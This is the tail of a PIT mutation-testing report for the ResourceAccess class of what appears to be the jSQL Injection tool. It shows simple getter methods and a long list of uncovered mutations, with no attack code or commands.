    public ExploitOracle getExploitOracle() {
663 1 1. getExploitOracle : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitOracle → NO_COVERAGE
        return this.exploitOracle;
664
    }
665
666
    public ExploitPostgres getExploitPostgres() {
667 1 1. getExploitPostgres : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitPostgres → NO_COVERAGE
        return this.exploitPostgres;
668
    }
669
670
    public boolean isSearchAdminStopped() {
671 2 1. isSearchAdminStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE
2. isSearchAdminStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE
        return this.isSearchAdminStopped;
672
    }
673
    
674
    public void setScanStopped(boolean isScanStopped) {
675
        this.isScanStopped = isScanStopped;
676
    }
677
678
    public boolean isScanStopped() {
679 2 1. isScanStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE
2. isScanStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE
        return this.isScanStopped;
680
    }
681
682
    public ExploitHsqldb getExploitHsqldb() {
683 1 1. getExploitHsqldb : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitHsqldb → NO_COVERAGE
        return this.exploitHsqldb;
684
    }
685
686
    public ExploitH2 getExploitH2() {
687 1 1. getExploitH2 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitH2 → NO_COVERAGE
        return this.exploitH2;
688
    }
689
690
    public ExploitDerby getExploitDerby() {
691 1 1. getExploitDerby : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitDerby → NO_COVERAGE
        return this.exploitDerby;
692
    }
693
}

Mutations

143

1.1
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

147

1.1
Location : createAdminPages
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

170

1.1
Location : createAdminPages
Killed by : none
Replaced integer multiplication with division → NO_COVERAGE

174

1.1
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createAdminPages
Killed by : none
changed conditional boundary → NO_COVERAGE

3.3
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

180

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

182

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE

184

1.1
Location : createAdminPages
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE

192

1.1
Location : callAdminPage
Killed by : none
negated conditional → NO_COVERAGE

193

1.1
Location : callAdminPage
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

194

1.1
Location : callAdminPage
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

199

1.1
Location : callAdminPage
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

203

1.1
Location : callAdminPage
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE

211

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

215

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

224

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

228

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

233

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

241

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

248

1.1
Location : checkUrls
Killed by : none
negated conditional → NO_COVERAGE

253

1.1
Location : checkUrls
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::checkUrls → NO_COVERAGE

274

1.1
Location : getExploitUrl
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : getExploitUrl
Killed by : none
changed conditional boundary → NO_COVERAGE

277

1.1
Location : getExploitUrl
Killed by : none
negated conditional → NO_COVERAGE

284

1.1
Location : getExploitUrl
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

290

1.1
Location : getExploitUrl
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

291

1.1
Location : getExploitUrl
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getExploitUrl → NO_COVERAGE

295

1.1
Location : callCommand
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::callCommand → NO_COVERAGE

315

1.1
Location : callCommand
Killed by : none
negated conditional → NO_COVERAGE

329

1.1
Location : runWebShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE

336

1.1
Location : runWebShell
Killed by : none
negated conditional → NO_COVERAGE

339

1.1
Location : runWebShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

340

1.1
Location : runWebShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE

352

1.1
Location : runSqlShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE

364

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

366

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

374

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

375

1.1
Location : runSqlShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

377

1.1
Location : runSqlShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE

392

1.1
Location : convert
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

394

1.1
Location : convert
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

403

1.1
Location : convert
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE

410

1.1
Location : parseColumnLength
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : parseColumnLength
Killed by : none
changed conditional boundary → NO_COVERAGE

414

1.1
Location : parseColumnLength
Killed by : none
removed call to java/util/List::sort → NO_COVERAGE

415

1.1
Location : lambda$parseColumnLength$0
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$0 → NO_COVERAGE

2.2
Location : lambda$parseColumnLength$0
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

419

1.1
Location : parseColumnLength
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE

425

1.1
Location : parse
Killed by : none
negated conditional → NO_COVERAGE

431

1.1
Location : parse
Killed by : none
negated conditional → NO_COVERAGE

436

1.1
Location : parse
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE

444

1.1
Location : upload
Killed by : none
negated conditional → NO_COVERAGE

474

1.1
Location : upload
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

485

1.1
Location : upload
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE

506

1.1
Location : isMysqlReadDenied
Killed by : none
negated conditional → NO_COVERAGE

507

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE

508

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

509

1.1
Location : isMysqlReadDenied
Killed by : none
negated conditional → NO_COVERAGE

511

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

513

1.1
Location : isMysqlReadDenied
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

517

1.1
Location : isMysqlReadDenied
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isMysqlReadDenied → NO_COVERAGE

2.2
Location : isMysqlReadDenied
Killed by : none
negated conditional → NO_COVERAGE

531

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

532

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

555

1.1
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

559

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

561

1.1
Location : readFile
Killed by : none
Replaced integer addition with subtraction → NO_COVERAGE

566

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

568

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

572

1.1
Location : lambda$readFile$1
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$1 → NO_COVERAGE

579

1.1
Location : readFile
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

585

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE

587

1.1
Location : readFile
Killed by : none
removed call to java/util/List::clear → NO_COVERAGE

588

1.1
Location : readFile
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

595

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

599

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

604

1.1
Location : readFile
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE

609

1.1
Location : getResult
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResult → NO_COVERAGE

622

1.1
Location : getResultWithCatch
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResultWithCatch → NO_COVERAGE

643

1.1
Location : stopSearchFile
Killed by : none
removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE

655

1.1
Location : getExploitSqlite
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitSqlite → NO_COVERAGE

659

1.1
Location : getExploitMysql
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitMysql → NO_COVERAGE

663

1.1
Location : getExploitOracle
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitOracle → NO_COVERAGE

667

1.1
Location : getExploitPostgres
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitPostgres → NO_COVERAGE

671

1.1
Location : isSearchAdminStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE

2.2
Location : isSearchAdminStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE

679

1.1
Location : isScanStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE

2.2
Location : isScanStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE

683

1.1
Location : getExploitHsqldb
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitHsqldb → NO_COVERAGE

687

1.1
Location : getExploitH2
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitH2 → NO_COVERAGE

691

1.1
Location : getExploitDerby
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitDerby → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.22.1